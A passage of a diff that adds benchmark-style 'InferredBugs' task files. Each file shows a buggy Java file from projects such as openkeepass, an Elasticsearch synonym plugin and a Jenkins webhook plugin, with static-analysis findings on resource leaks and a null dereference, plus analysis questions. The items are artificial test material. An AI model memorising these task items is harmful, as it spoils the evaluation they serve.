+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8156/instruction.md b/inferredbugs-8156/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bffe2803e49e9471c59b5b1daf305bc81fcfcbfa
--- /dev/null
+++ b/inferredbugs-8156/instruction.md
@@ -0,0 +1,169 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** openkeepass
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.slackspace.openkeepass.parser;
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.text.SimpleDateFormat;
+import java.util.List;
+import java.util.TimeZone;
+
+import junit.framework.Assert;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import de.slackspace.openkeepass.crypto.Salsa20;
+import de.slackspace.openkeepass.domain.Entry;
+import de.slackspace.openkeepass.domain.Group;
+import de.slackspace.openkeepass.domain.KeePassFile;
+import de.slackspace.openkeepass.util.ByteUtils;
+
+public class XmlParserTest {
+
+	private byte[] protectedStreamKey = ByteUtils.hexStringToByteArray("ec77a2169769734c5d26e5341401f8d7b11052058f8455d314879075d0b7e257");
+	private static SimpleDateFormat dateFormatter;
+	
+	@BeforeClass
+	public static void init() {
+		// make sure we use UTC time
+		dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		dateFormatter.setTimeZone(TimeZone.getTimeZone("GMT"));
+	}
+	
+	@Test
+	public void whenInputIsValidKeePassXmlShouldParseFileAndReturnCorrectMetadata() throws FileNotFoundException {
+		FileInputStream fileInputStream = new FileInputStream("target/test-classes/testDatabase_decrypted.xml");
+		KeePassFile keePassFile = new XmlParser().parse(fileInputStream, Salsa20.createInstance(protectedStreamKey));
+		Assert.assertEquals("KeePass", keePassFile.getMeta().getGenerator());
+		Assert.assertEquals("TestDatabase", keePassFile.getMeta().getDatabaseName());
+		Assert.assertEquals("Just a sample db", keePassFile.getMeta().getDatabaseDescription());
+		Assert.assertEquals("2014-11-22 18:59:39", dateFormatter.format(keePassFile.getMeta().getDatabaseNameChanged().getTime()));
+		Assert.assertEquals("2014-11-22 18:59:39", dateFormatter.format(keePassFile.getMeta().getDatabaseDescriptionChanged().getTime()));
+		Assert.assertEquals(365, keePassFile.getMeta().getMaintenanceHistoryDays());
+		Assert.assertEquals(true, keePassFile.getMeta().getRecycleBinEnabled());
+		Assert.assertEquals("AAAAAAAAAAAAAAAAAAAAAA==", keePassFile.getMeta().getRecycleBinUuid()); 
+		Assert.assertEquals("2014-11-22 18:58:56", dateFormatter.format(keePassFile.getMeta().getRecycleBinChanged().getTime()));
+		Assert.assertEquals(10, keePassFile.getMeta().getHistoryMaxItems());
+		Assert.assertEquals(6291456, keePassFile.getMeta().getHistoryMaxSize());
+	}
+	
+	@Test
+	public void whenInputIsValidKeePassXmlShouldParseFileAndReturnCorrectGroups() throws FileNotFoundException {
+		FileInputStream fileInputStream = new FileInputStream("target/test-classes/testDatabase_decrypted.xml");
+		KeePassFile keePassFile = new XmlParser().parse(fileInputStream, Salsa20.createInstance(protectedStreamKey));
+		
+		List<Group> groups = keePassFile.getTopGroups();
+		Assert.assertNotNull(groups);
+		
+		Assert.assertEquals(6, groups.size());
+		Assert.assertEquals("General", groups.get(0).getName());
+		Assert.assertEquals("FqvMJ8yjlUSAEt9OmNSj2A==", groups.get(0).getUuid());
+		
+		Assert.assertEquals("Windows", groups.get(1).getName());
+		Assert.assertEquals("rXt7D+EM/0qW1rgPB4g5nw==", groups.get(1).getUuid());
+		
+		Assert.assertEquals("Network", groups.get(2).getName());
+		Assert.assertEquals("DwdAaKn4tEyXFlU56/2UBQ==", groups.get(2).getUuid());
+		
+		Assert.assertEquals("Internet", groups.get(3).getName());
+		Assert.assertEquals("COgUrPt5P0676DeyZn/auQ==", groups.get(3).getUuid());
+		
+		Assert.assertEquals("eMail", groups.get(4).getName());
+		Assert.assertEquals("/xWfOfnC6ki76sNhrZR7rw==", groups.get(4).getUuid());
+		
+		Assert.assertEquals("Homebanking", groups.get(5).getName());
+		Assert.assertEquals("Rdjt21Jla0+E5Q9ElJHw1g==", groups.get(5).getUuid());
+	}
+	
+	@Test
+	public void whenInputIsValidKeePassXmlShouldParseFileAndReturnCorrectEntries() throws FileNotFoundException {
+		FileInputStream fileInputStream = new FileInputStream("target/test-classes/testDatabase_decrypted.xml");
+		KeePassFile keePassFile = new XmlParser().parse(fileInputStream, Salsa20.createInstance(protectedStreamKey));
+		
+		List<Entry> entries = keePassFile.getTopEntries();
+		Assert.assertNotNull(entries);
+		
+		Assert.assertEquals(2, entries.size());
+		Assert.assertEquals("libdLW88cU6BvrPQlvKqMA==", entries.get(0).getUuid());
+		Assert.assertEquals(5, entries.get(0).getProperties().size());
+		Assert.assertEquals("Sample Entry", entries.get(0).getTitle());
+		Assert.assertEquals("http://keepass.info/", entries.get(0).getUrl());
+		Assert.assertEquals("User Name", entries.get(0).getUsername());
+		Assert.assertEquals("Notes", entries.get(0).getNotes());
+		Assert.assertEquals("Password", entries.get(0).getPassword());
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired to `fileInputStream` by call to `FileInputStream(...)` at line 51 is not released after line 75.
+**Note**: potential exception at line 52
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void XmlParserTest.whenInputIsValidKeePassXmlShouldParseFileAndReturnCorrectGroups()
+
+### Procedure Id:
+de.slackspace.openkeepass.parser.XmlParserTest.whenInputIsValidKeePassXmlShouldParseFileAndReturnCor.617a6736bea7c780a2909a30ffa315cd
+
+### File:
+src/test/java/de/slackspace/openkeepass/parser/XmlParserTest.java
+
+### Key:
+XmlParserTest.java|whenInputIsValidKeePassXmlShouldParseFileAndReturnCorrectGroups|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+f5472b9598d7295149acecf4966ef394
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8157/instruction.md b/inferredbugs-8157/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1a8acd4585d3593cfab5b3f35dbb0b0a72b9476a
--- /dev/null
+++ b/inferredbugs-8157/instruction.md
@@ -0,0 +1,133 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** openkeepass
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.slackspace.openkeepass.crypto;
+
+import de.slackspace.openkeepass.domain.KeePassHeader;
+import de.slackspace.openkeepass.util.StreamUtils;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+public class Decrypter {
+
+	public byte[] decryptDatabase(byte[] password, KeePassHeader header, byte[] database) throws IOException {
+		byte[] aesKey = createAesKey(password, header);
+
+		return processDatabaseEncryption(false, database, header, aesKey);
+	}
+
+	public byte[] encryptDatabase(byte[] password, KeePassHeader header, byte[] database) throws IOException {
+		byte[] aesKey = createAesKey(password, header);
+
+		return processDatabaseEncryption(true, database, header, aesKey);
+	}
+
+	private byte[] processDatabaseEncryption(boolean encrypt, byte[] database, KeePassHeader header, byte[] aesKey)
+			throws IOException {
+		byte[] metaData = new byte[KeePassHeader.VERSION_SIGNATURE_LENGTH + header.getHeaderSize()];
+		BufferedInputStream bufferedInputStream = new BufferedInputStream(new ByteArrayInputStream(database));
+		bufferedInputStream.read(metaData);
+
+		byte[] payload = StreamUtils.toByteArray(bufferedInputStream);
+		byte[] processedPayload;
+		if (encrypt) {
+			processedPayload = Aes.encrypt(aesKey, header.getEncryptionIV(), payload);
+		} else {
+			processedPayload = Aes.decrypt(aesKey, header.getEncryptionIV(), payload);
+		}
+
+		ByteArrayOutputStream output = new ByteArrayOutputStream();
+		output.write(metaData);
+		output.write(processedPayload);
+
+		return output.toByteArray();
+	}
+
+	private byte[] createAesKey(byte[] password, KeePassHeader header) {
+		byte[] hashedPwd = Sha256.hash(password);
+
+		byte[] transformedPwd = Aes.transformKey(header.getTransformSeed(), hashedPwd, header.getTransformRounds());
+		byte[] transformedHashedPwd = Sha256.hash(transformedPwd);
+
+		ByteArrayOutputStream stream = new ByteArrayOutputStream();
+		stream.write(header.getMasterSeed(), 0, 32);
+		stream.write(transformedHashedPwd, 0, 32);
+
+		return Sha256.hash(stream.toByteArray());
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedInputStream` acquired to `bufferedInputStream` by call to `new()` at line 28 is not released after line 43.
+**Note**: potential exception at line 29
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+byte[] Decrypter.processDatabaseEncryption(boolean,byte[],KeePassHeader,byte[])
+
+### Procedure Id:
+de.slackspace.openkeepass.crypto.Decrypter.processDatabaseEncryption(boolean,byte[],de.slackspace.op.1ee10d63f652a7ddffe99dbac07afd71
+
+### File:
+src/main/java/de/slackspace/openkeepass/crypto/Decrypter.java
+
+### Key:
+Decrypter.java|processDatabaseEncryption|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+274e9e964841a2da2f1fd94047c5a5d0
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8158/instruction.md b/inferredbugs-8158/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3bbaa57f593498dcb019e73ea44da0c8bca74f5e
--- /dev/null
+++ b/inferredbugs-8158/instruction.md
@@ -0,0 +1,253 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** elasticsearch-analysis-dynamic-synonym
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * 
+ */
+package com.bellszhu.elasticsearch.plugin.synonym.analysis;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+import org.apache.http.client.config.RequestConfig;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpHead;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.apache.lucene.analysis.Analyzer;
+import org.apache.lucene.analysis.synonym.SolrSynonymParser;
+import org.apache.lucene.analysis.synonym.SynonymMap;
+import org.apache.lucene.analysis.synonym.WordnetSynonymParser;
+import org.elasticsearch.ElasticsearchIllegalArgumentException;
+import org.elasticsearch.common.logging.ESLogger;
+import org.elasticsearch.common.logging.Loggers;
+import org.elasticsearch.env.Environment;
+
+/**
+ * @author bells
+ *
+ */
+public class RemoteSynonymFile implements SynonymFile {
+
+	public static ESLogger logger = Loggers.getLogger("dynamic-synonym");
+
+	private CloseableHttpClient httpclient = HttpClients.createDefault();
+
+	private String format;
+
+	private boolean expand;
+
+	private Analyzer analyzer;
+
+	private Environment env;
+
+	/** 远程url地址 */
+	private String location;
+
+	/** 上次更改时间 */
+	private String lastModified;
+
+	/** 资源属性 */
+	private String eTags;
+
+	public RemoteSynonymFile(Environment env, Analyzer analyzer,
+			boolean expand, String format, String location) {
+		this.analyzer = analyzer;
+		this.expand = expand;
+		this.format = format;
+		this.env = env;
+		this.location = location;
+	}
+
+	@Override
+	public SynonymMap reloadSynonymMap() {
+		try {
+			Reader rulesReader = getReader();
+			SynonymMap.Builder parser = null;
+
+			if ("wordnet".equalsIgnoreCase(format)) {
+				parser = new WordnetSynonymParser(true, expand, analyzer);
+				((WordnetSynonymParser) parser).parse(rulesReader);
+			} else {
+				parser = new SolrSynonymParser(true, expand, analyzer);
+				((SolrSynonymParser) parser).parse(rulesReader);
+			}
+			return parser.build();
+		} catch (Exception e) {
+			logger.error("reload remote synonym {} error!", e, location);
+			throw new ElasticsearchIllegalArgumentException(
+					"could not reload remote synonyms file", e);
+		}
+	}
+
+	/**
+	 * 从远程服务器上下载自定义词条
+	 */
+	public Reader getReader() {
+		RequestConfig rc = RequestConfig.custom()
+				.setConnectionRequestTimeout(10 * 1000)
+				.setConnectTimeout(10 * 1000).setSocketTimeout(60 * 1000)
+				.build();
+		CloseableHttpResponse response = null;
+		BufferedReader in = null;
+		HttpGet get = new HttpGet(location);
+		get.setConfig(rc);
+		try {
+			response = httpclient.execute(get);
+			if (response.getStatusLine().getStatusCode() == 200) {
+				String charset = "UTF-8";  // 获取编码，默认为utf-8
+				if (response.getEntity().getContentType().getValue()
+						.contains("charset=")) {
+					String contentType = response.getEntity().getContentType()
+							.getValue();
+					charset = contentType.substring(contentType
+							.lastIndexOf("=") + 1);
+				}
+				in = new BufferedReader(new InputStreamReader(response
+						.getEntity().getContent(), charset));
+			}
+		} catch (IOException e) {
+			logger.error("get remote synonym reader {} error!", e, location);
+			throw new ElasticsearchIllegalArgumentException(
+					"IOException while reading remote synonyms file", e);
+		} finally {
+			try {
+				if (response != null) {
+					response.close();
+				}
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		return in;
+	}
+
+	@Override
+	public boolean isNeedReloadSynonymMap() {
+		RequestConfig rc = RequestConfig.custom()
+				.setConnectionRequestTimeout(10 * 1000)
+				.setConnectTimeout(10 * 1000).setSocketTimeout(15 * 1000)
+				.build();
+		HttpHead head = new HttpHead(location);
+		head.setConfig(rc);
+
+		// 设置请求头
+		if (lastModified != null) {
+			head.setHeader("If-Modified-Since", lastModified);
+		}
+		if (eTags != null) {
+			head.setHeader("If-None-Match", eTags);
+		}
+
+		CloseableHttpResponse response = null;
+		try {
+			response = httpclient.execute(head);
+			if (response.getStatusLine().getStatusCode() == 200) { // 返回200 才做操作
+				if (!response.getLastHeader("Last-Modified").getValue()
+						.equalsIgnoreCase(lastModified)
+						|| !response.getLastHeader("ETag").getValue()
+								.equalsIgnoreCase(eTags)) {
+
+					lastModified = response.getLastHeader("Last-Modified") == null ? null
+							: response.getLastHeader("Last-Modified")
+									.getValue();
+					eTags = response.getLastHeader("ETag") == null ? null
+							: response.getLastHeader("ETag").getValue();
+					return true;
+				}
+			} else if (response.getStatusLine().getStatusCode() == 304) {
+				return false;
+			} else {
+				logger.info("remote synonym {} return bad code {}", location,
+						response.getStatusLine().getStatusCode());
+			}
+
+		} catch (IOException e) {
+			logger.error("check need reload remote synonym {} error!", e, location);
+		} finally {
+			try {
+				if (response != null) {
+					response.close();
+				}
+			} catch (IOException e) {
+				e.printStackTrace();
+
+			}
+		}
+		return false;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReader()` at line 65 is not released after line 70.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SynonymMap RemoteSynonymFile.reloadSynonymMap()
+
+### Procedure Id:
+com.bellszhu.elasticsearch.plugin.synonym.analysis.RemoteSynonymFile.reloadSynonymMap():org.apache.l.aa2a07f4a01b27079439b8a681707bcd
+
+### File:
+src/main/java/com/bellszhu/elasticsearch/plugin/synonym/analysis/RemoteSynonymFile.java
+
+### Key:
+RemoteSynonymFile.java|reloadSynonymMap|RESOURCE_LEAK
+
+### Node Key:
+5b3fa5c793240ccb2ff9640dfe8fac58
+
+### Hash:
+f429d34d4f6bfba5b50b51a11b3d39ac
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8159/instruction.md b/inferredbugs-8159/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8bb6e2161c864e52f235e2b02b1c62b1040c0849
--- /dev/null
+++ b/inferredbugs-8159/instruction.md
@@ -0,0 +1,253 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** elasticsearch-analysis-dynamic-synonym
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * 
+ */
+package com.bellszhu.elasticsearch.plugin.synonym.analysis;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+import org.apache.http.client.config.RequestConfig;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpHead;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.apache.lucene.analysis.Analyzer;
+import org.apache.lucene.analysis.synonym.SolrSynonymParser;
+import org.apache.lucene.analysis.synonym.SynonymMap;
+import org.apache.lucene.analysis.synonym.WordnetSynonymParser;
+import org.elasticsearch.ElasticsearchIllegalArgumentException;
+import org.elasticsearch.common.logging.ESLogger;
+import org.elasticsearch.common.logging.Loggers;
+import org.elasticsearch.env.Environment;
+
+/**
+ * @author bells
+ *
+ */
+public class RemoteSynonymFile implements SynonymFile {
+
+	public static ESLogger logger = Loggers.getLogger("dynamic-synonym");
+
+	private CloseableHttpClient httpclient = HttpClients.createDefault();
+
+	private String format;
+
+	private boolean expand;
+
+	private Analyzer analyzer;
+
+	private Environment env;
+
+	/** 远程url地址 */
+	private String location;
+
+	/** 上次更改时间 */
+	private String lastModified;
+
+	/** 资源属性 */
+	private String eTags;
+
+	public RemoteSynonymFile(Environment env, Analyzer analyzer,
+			boolean expand, String format, String location) {
+		this.analyzer = analyzer;
+		this.expand = expand;
+		this.format = format;
+		this.env = env;
+		this.location = location;
+	}
+
+	@Override
+	public SynonymMap reloadSynonymMap() {
+		try {
+			Reader rulesReader = getReader();
+			SynonymMap.Builder parser = null;
+
+			if ("wordnet".equalsIgnoreCase(format)) {
+				parser = new WordnetSynonymParser(true, expand, analyzer);
+				((WordnetSynonymParser) parser).parse(rulesReader);
+			} else {
+				parser = new SolrSynonymParser(true, expand, analyzer);
+				((SolrSynonymParser) parser).parse(rulesReader);
+			}
+			return parser.build();
+		} catch (Exception e) {
+			logger.error("reload remote synonym {} error!", e, location);
+			throw new ElasticsearchIllegalArgumentException(
+					"could not reload remote synonyms file", e);
+		}
+	}
+
+	/**
+	 * 从远程服务器上下载自定义词条
+	 */
+	public Reader getReader() {
+		RequestConfig rc = RequestConfig.custom()
+				.setConnectionRequestTimeout(10 * 1000)
+				.setConnectTimeout(10 * 1000).setSocketTimeout(60 * 1000)
+				.build();
+		CloseableHttpResponse response = null;
+		BufferedReader in = null;
+		HttpGet get = new HttpGet(location);
+		get.setConfig(rc);
+		try {
+			response = httpclient.execute(get);
+			if (response.getStatusLine().getStatusCode() == 200) {
+				String charset = "UTF-8";  // 获取编码，默认为utf-8
+				if (response.getEntity().getContentType().getValue()
+						.contains("charset=")) {
+					String contentType = response.getEntity().getContentType()
+							.getValue();
+					charset = contentType.substring(contentType
+							.lastIndexOf("=") + 1);
+				}
+				in = new BufferedReader(new InputStreamReader(response
+						.getEntity().getContent(), charset));
+			}
+		} catch (IOException e) {
+			logger.error("get remote synonym reader {} error!", e, location);
+			throw new ElasticsearchIllegalArgumentException(
+					"IOException while reading remote synonyms file", e);
+		} finally {
+			try {
+				if (response != null) {
+					response.close();
+				}
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		return in;
+	}
+
+	@Override
+	public boolean isNeedReloadSynonymMap() {
+		RequestConfig rc = RequestConfig.custom()
+				.setConnectionRequestTimeout(10 * 1000)
+				.setConnectTimeout(10 * 1000).setSocketTimeout(15 * 1000)
+				.build();
+		HttpHead head = new HttpHead(location);
+		head.setConfig(rc);
+
+		// 设置请求头
+		if (lastModified != null) {
+			head.setHeader("If-Modified-Since", lastModified);
+		}
+		if (eTags != null) {
+			head.setHeader("If-None-Match", eTags);
+		}
+
+		CloseableHttpResponse response = null;
+		try {
+			response = httpclient.execute(head);
+			if (response.getStatusLine().getStatusCode() == 200) { // 返回200 才做操作
+				if (!response.getLastHeader("Last-Modified").getValue()
+						.equalsIgnoreCase(lastModified)
+						|| !response.getLastHeader("ETag").getValue()
+								.equalsIgnoreCase(eTags)) {
+
+					lastModified = response.getLastHeader("Last-Modified") == null ? null
+							: response.getLastHeader("Last-Modified")
+									.getValue();
+					eTags = response.getLastHeader("ETag") == null ? null
+							: response.getLastHeader("ETag").getValue();
+					return true;
+				}
+			} else if (response.getStatusLine().getStatusCode() == 304) {
+				return false;
+			} else {
+				logger.info("remote synonym {} return bad code {}", location,
+						response.getStatusLine().getStatusCode());
+			}
+
+		} catch (IOException e) {
+			logger.error("check need reload remote synonym {} error!", e, location);
+		} finally {
+			try {
+				if (response != null) {
+					response.close();
+				}
+			} catch (IOException e) {
+				e.printStackTrace();
+
+			}
+		}
+		return false;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReader()` at line 65 is not released after line 73.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SynonymMap RemoteSynonymFile.reloadSynonymMap()
+
+### Procedure Id:
+com.bellszhu.elasticsearch.plugin.synonym.analysis.RemoteSynonymFile.reloadSynonymMap():org.apache.l.aa2a07f4a01b27079439b8a681707bcd
+
+### File:
+src/main/java/com/bellszhu/elasticsearch/plugin/synonym/analysis/RemoteSynonymFile.java
+
+### Key:
+RemoteSynonymFile.java|reloadSynonymMap|RESOURCE_LEAK
+
+### Node Key:
+5b3fa5c793240ccb2ff9640dfe8fac58
+
+### Hash:
+f429d34d4f6bfba5b50b51a11b3d39ac
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8160/instruction.md b/inferredbugs-8160/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6f499c0302057239624b8b7384749f39c6de9754
--- /dev/null
+++ b/inferredbugs-8160/instruction.md
@@ -0,0 +1,148 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** generic-webhook-trigger-plugin
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jenkinsci.plugins.gwt.whitelist;
+
+import static org.jenkinsci.plugins.gwt.whitelist.HMACVerifier.hmacVerify;
+
+import com.google.common.base.Optional;
+import java.util.List;
+import java.util.Map;
+import org.jenkinsci.plugins.gwt.global.CredentialsHelper;
+import org.jenkinsci.plugins.gwt.global.Whitelist;
+import org.jenkinsci.plugins.gwt.global.WhitelistItem;
+import org.jenkinsci.plugins.plaincredentials.StringCredentials;
+
+public class WhitelistVerifier {
+
+  public static void verifyWhitelist(
+      final String remoteHost, final Map<String, List<String>> headers, final String postContent)
+      throws WhitelistException {
+    final Whitelist whitelist = Whitelist.get();
+    doVerifyWhitelist(remoteHost, headers, postContent, whitelist);
+  }
+
+  static void doVerifyWhitelist(
+      final String remoteHost,
+      final Map<String, List<String>> headers,
+      final String postContent,
+      final Whitelist whitelist)
+      throws WhitelistException {
+    if (whitelist.getWhitelistItems().isEmpty() || !whitelist.isEnabled()) {
+      return;
+    }
+    final StringBuilder messages = new StringBuilder();
+    int i = 0;
+    for (final WhitelistItem whitelistItem : whitelist.getWhitelistItems()) {
+      i++;
+      try {
+        whitelistVerify(remoteHost, whitelistItem, headers, postContent);
+        return;
+      } catch (final WhitelistException e) {
+        messages.append(i + ") " + e.getMessage() + "\n");
+      }
+    }
+    final String messagesString = messages.toString();
+    throw new WhitelistException("Did not find a matching whitelisted host:\n" + messagesString);
+  }
+
+  static void whitelistVerify(
+      final String remoteHost,
+      final WhitelistItem whitelistItem,
+      final Map<String, List<String>> headers,
+      final String postContent)
+      throws WhitelistException {
+
+    String whitelistHost = whitelistItem.getHost();
+
+    if (HostVerifier.whitelistContains(remoteHost, whitelistHost)) {
+      if (whitelistItem.isHmacEnabled()) {
+        final Optional<StringCredentials> hmacKeyOpt =
+            CredentialsHelper.findCredentials(whitelistItem.getHmacCredentialId());
+        if (!hmacKeyOpt.isPresent()) {
+          throw new WhitelistException(
+              "Was unable to find secret text credential " + whitelistItem.getHmacCredentialId());
+        }
+        final String hmacHeader = whitelistItem.getHmacHeader();
+        final String hmacKey = hmacKeyOpt.get().getSecret().getPlainText();
+        final String hmacAlgorithm = whitelistItem.getHmacAlgorithm();
+        hmacVerify(headers, postContent, hmacHeader, hmacKey, hmacAlgorithm);
+        return;
+      }
+      return;
+    }
+    throw new WhitelistException(
+        "Sending host \"" + remoteHost + "\" was not matched by whitelist.");
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `whitelistHost` last assigned on line 53 could be null and is dereferenced by call to `whitelistContains(...)` at line 55.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WhitelistVerifier.whitelistVerify(String,WhitelistItem,Map,String)
+
+### Procedure Id:
+org.jenkinsci.plugins.gwt.whitelist.WhitelistVerifier.whitelistVerify(java.lang.String,org.jenkinsci.a3249383b74d0c1e00a75708a8cbe052
+
+### File:
+src/main/java/org/jenkinsci/plugins/gwt/whitelist/WhitelistVerifier.java
+
+### Key:
+WhitelistVerifier.java|whitelistVerify|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+37b9c075a6c8cb7a66e3938befaca2da
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8161/instruction.md b/inferredbugs-8161/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..af649fe4e15475df2b71c98a388dfab1bf340224
--- /dev/null
+++ b/inferredbugs-8161/instruction.md
@@ -0,0 +1,1116 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** acme4j
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * acme4j - Java ACME client
+ *
+ * Copyright (C) 2015 Richard "Shred" Körber
+ *   http://acme4j.shredzone.org
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+package org.shredzone.acme4j.connector;
+
+import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.*;
+import static org.mockito.Mockito.*;
